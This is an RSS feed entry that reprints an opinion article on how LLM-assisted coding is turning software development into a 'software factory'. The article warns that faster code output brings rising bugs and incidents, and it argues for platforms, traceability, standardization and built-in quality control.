<description><![CDATA[Industrialized factories changed how the world produced physical goods: more output, lower costs, faster than anything that came before. Now a similar shift is happening with software. LLMs have lowered the barrier to writing code, increased individual output, and pushed organizations to think ab...]]></description>
<link>https://tsecurity.de/de/3627334/it-nachrichten/most-companies-think-theyre-building-a-software-factory-theyre-actually-just-shipping-bugs-faster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627334/it-nachrichten/most-companies-think-theyre-building-a-software-factory-theyre-actually-just-shipping-bugs-faster/</guid>
<pubDate>Fri, 26 Jun 2026 14:17:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Industrialized factories changed how the world produced physical goods: more output, lower costs, faster than anything that came before. Now a similar shift is happening with software. </p><p>LLMs have lowered the barrier to writing code, increased individual output, and pushed organizations to think about software development as a production system. The standard software development lifecycle and CI/CD practices that have held for decades won't hold up under that pressure. That's where the software factory comes in — and like physical factories, it needs more than speed to actually work.</p><p>The idea of a “software factory” started to solidify over the past year. <a href="https://refactoring.fm/p/the-era-of-the-software-factory">Luca Rossi's "The Era of the Software Factory"</a> made the case plainly: AI is not just changing how fast people write code — it's changing the whole production system around software. </p><p>The concept can mean different things: a collection of coding agents and skills files; faster CI/CD; better review systems; or more automation around software delivery. A better frame is to think of it less as a tool category and more as a set of principles. A software factory can't just be a loose collection of prompts, agents, and plugins. It needs a platform that defines how work moves through the system and how code is generated, reviewed, tested, traced, deployed, and improved when something goes wrong.</p><p>Otherwise all you’re doing is putting yet another one-off machine into an empty room and calling it a factory. </p><h2>Why is this happening now?</h2><p>There are a few forces all hitting at the same time.</p><p>Companies have always wanted more software than engineers can produce. That’s why tools like Excel exist: They often fill in the gap for a lot of the software that many companies wish they could make.</p><p>AI has also lowered the barrier of entry to creating code, and this is the part everyone focuses on. Code creation is now easier, though not always cheaper or better, as evidenced by many high-profile companies <a href="https://fortune.com/article/why-is-the-cost-of-ai-higher-than-human-workers-nvidia-executive/">fretting over their high AI bills</a>. The barrier to writing functional code has effectively collapsed.</p><p>More importantly, a single engineer can generate more code than they could just a few years ago. That changes the bottleneck: it’s no longer “How fast can someone write this?” or even, in some cases, “Can someone understand how to code?” Instead it becomes, “Should this be written?” </p><p>More importantly, can we actually create end products that are durable and reliable and don’t just build tech debt? Or are we just putting out more AI slop faster than ever? That’s where the danger lies. </p><h2>The dangers of the modern software factory</h2><p>All of this sounds great. Factories, after all, made production faster and more consistent. </p><p>They made it possible to build more cars and products, less expensively, which led to more people being able to afford cars and products. Putting environmental impacts aside, you could argue this was positive.</p><p>But like many things in engineering, there are always tradeoffs, and in this case, there are new risks.</p><p>When you increase the output of one person with machinery, digital or otherwise, you also increase the mistakes that can be made either by the individual or the machinery. The speed at which code can now be put out is on an industrial scale. Even smaller organizations can suddenly have code bases ballooning up to the size of tech company code bases a decade ago. </p><p>The data is already showing problems. Faros AI found that while task throughput per developer is up 33.7% and PR merge rate is up 16.2%, the <a href="https://www.faros.ai/blog/ai-acceleration-whiplash-takeaways">incidents-to-PR ratio has risen 242.7%</a> and bugs per developer are up 54%. Google’s DORA research found that more AI adoption was actually <a href="https://dora.dev/ai/gen-ai-report/report/">associated with worse delivery stability</a>. </p><p>As a fractional head of data, I've been brought in to fix these exact issues. In the past year alone, I've worked on two projects where AI-generated data infrastructure slowly started to morph over time.</p><p>Between multiple engineers trying to move quickly and a lack of standards, these projects became unruly. Code bases tend to go through some level of evolution, but as different styles blend, the LLMs in turn start to create their own mutations. Codebases developed five to six different styles within months — a process that previously took years. <a href="https://seattledataguy.substack.com/p/layer-by-layer-we-built-data-systems">Layer by layer</a>, the engineers would slowly stop understanding exactly what was going on.</p><p>The pattern echoes what happened a decade ago with self-service tooling: early productivity gains that masked downstream complexity.</p><p>And that’s why the software factory can’t just be about speed. </p><h2>What makes a software factory work</h2><p>There are several key principles to consider when building a software factory.</p><p><b>Platform over tools: </b>Many teams are slowly implementing AI into their coding workflows at the edges — adding a PR review agent or a skills file into their repos. But building an actual software factory requires a platform, not a collection of tools at the edges. A platform provides a unified foundation where tools aren't scattered in separate corners. Instead, they actively share data, talk to each other, and work as a single cohesive system — standards, processes, and the work itself all connected. </p><p><b>Rerunability and traceability:</b> A real platform requires the ability to go back into any run, identify what went wrong, and rerun it — which is why one-off agents don't make a factory. The system needs to support taking a serial ID, looking it up, and tracing exactly how it got to the output it produced. This is why state machines make more sense than loops for AI workflows: they make it far easier to rerun a process and understand what happened at each step.</p><p><b>Safety and guardrails</b>: Factories are not safe places. Neither is a software factory. As more people develop on these platforms, <a href="https://medium.com/codestrap/ai-agents-need-better-guardrails-f4669c7b7254">better guardrails</a> and safety measures need to be built in. Testing and quality control need to be pushed to the front of the process — catching bugs at the lowest possible stage reduces the cost to fix them and limits the blast radius.</p><p><b>Standardization:</b> At the enterprise level, every codebase has its own flavor. Layering a code assistant on top without standards produces an amalgamation of styles. Standardization has to be built into the process from the start.</p><p><b>Quality control:</b> In older manufacturing models, quality control happened at the end of the line. The product was built, inspected, defects found, and fixed later. <a href="https://global.toyota/en/company/vision-and-philosophy/production-system/">Toyota's approach was different</a>. Quality was pushed into the process itself — workers were expected to stop the line when something was wrong. The goal wasn't to catch defects at the end; it was to prevent them from flowing downstream in the first place. </p><p>The same is true for the software factory. QC needs to be baked into the entire process, starting with how the spec is written. That means integrating static code analysis that catches obvious errors and providing templates to LLMs so they know the structure the code should follow. Without that, the bottleneck becomes the final review — or teams just push out more AI slop.</p><h2>Speed without quality isn't productivity</h2><p>Improving the speed of your code output is not actual productivity if the downstream issues aren’t managed. A company is not more productive because it produces millions of cars, only to see them all fall apart within 100 miles. It’s also not more productive if all it does is produce an endless stream of proofs-of-concept that never enter production. </p><p>Actual productivity is when the software factory takes ephemeral tokens and turns them into durable outputs. It's easy to talk about lines of code and how much faster your team is moving.</p><p>The software factory that wins isn't the one that generates the most code. It's the one that generates the fewest defects downstream.</p>]]></content:encoded>
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